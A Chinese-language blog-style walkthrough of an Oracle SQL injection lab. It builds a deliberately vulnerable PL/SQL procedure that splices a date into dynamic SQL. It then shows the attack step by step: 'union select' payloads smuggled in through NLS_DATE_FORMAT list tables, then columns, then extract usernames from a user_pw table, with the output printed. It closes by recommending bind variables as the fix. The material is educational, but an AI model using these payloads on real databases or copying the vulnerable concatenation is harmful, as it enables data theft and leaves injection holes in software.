这两天看看了TOM大师的书,一开始就讲到了sql注入,对于我们这种“邪恶”的程序员当然要研究研究,所以记录了模拟的过程。也通过模拟的过程了解了什么是SQL注入。
1,创建过程
在test用户下
create or replace procedure inject(var_date in date)
--AUTHID CURRENT_USER 如果添加上这个关键词,也可以减少sql注入问题,不过这个对调用用户的权限必须仔细,否则会出现权限问题。
is
/*
功能:测试SQL注入攻击
时间:2012-08-07
*/
v_rec all_users%rowtype;
v_course sys_refcursor;
v_query long;
begin
v_query:='select * from all_users where created='''||var_date||'''';--这一步就是“罪魁祸首”了
dbms_output.put_line(v_query);
open v_course for v_query;
for i in 1..100 loop
fetch v_course into v_rec;
exit when v_course%notfound;
dbms_output.put_line(v_rec.username||'.......');
end loop;
null;
close v_course;
end inject;
2,授权给scott用户执行
SQL> grant execute on test.inject to scott;
3,邪恶的程序员(scott)对过程进行分析,找到弱点,及''空可以为时间并对sql进行拼接
SQL> set serveroutput on 这一步为在sqlplus下显示dbms_output的结果
SQL> alter session set nls_date_format ='"''union select tname,0,null from tab--"';
SQL> exec test.inject(sysdate);
select * from all_users where created=''union select tname,0,null from tab--'
ADD_YEARPLAN.......
BIG_TABLE.......
CLASS.......
CLASS_COURSE.......
CLASS_PROCESS.......
COURSE.......
RUN_STATS.......
STATS.......
STATUS.......
STUDENT.......
STUDENT_COURSE.......
T1.......
T2.......
TEACHER.......
TEST.......
TEST_A.......
USER_PW.......
YEARPLAN_PROCESS.......
YEAR_PLAN.......
这其中包括了scott用户下的表和test用户下的表,这样你就可以通过你的才智找到test下的表,但是你没有权限查看,也不知道表中具体的列名。所以还得继续修改时间格式和执行那个存储过程。
SQL> alter session set nls_date_format ='"''union select tname||cname,0,null from col--"';
Session altered
SQL> exec test.inject(sysdate);
select * from all_users where created=''union select tname||cname,0,null from col--'
ADD_YEARPLANADDCONTENT.......
ADD_YEARPLANADDDATE.......
ADD_YEARPLANADDREASON.......
ADD_YEARPLANADDYEARPLAN_ID.......等等
这样就知道具体的列名了,要想获得列的值还的在这样来一次
SQL> alter session set nls_date_format ='"''union select uname,0,null from user_pw--"';
Session altered
SQL> exec test.inject(sysdate);
select * from all_users where created=''union select uname,0,null from user_pw--'
xionglang.......
这样就知道列中具体的内容了。呵呵,如果有什么password的啊!那你就赚到了。。。。
要解决这样的问题,TOM大师也说了,直接用绑定变量就可以有效的避免了。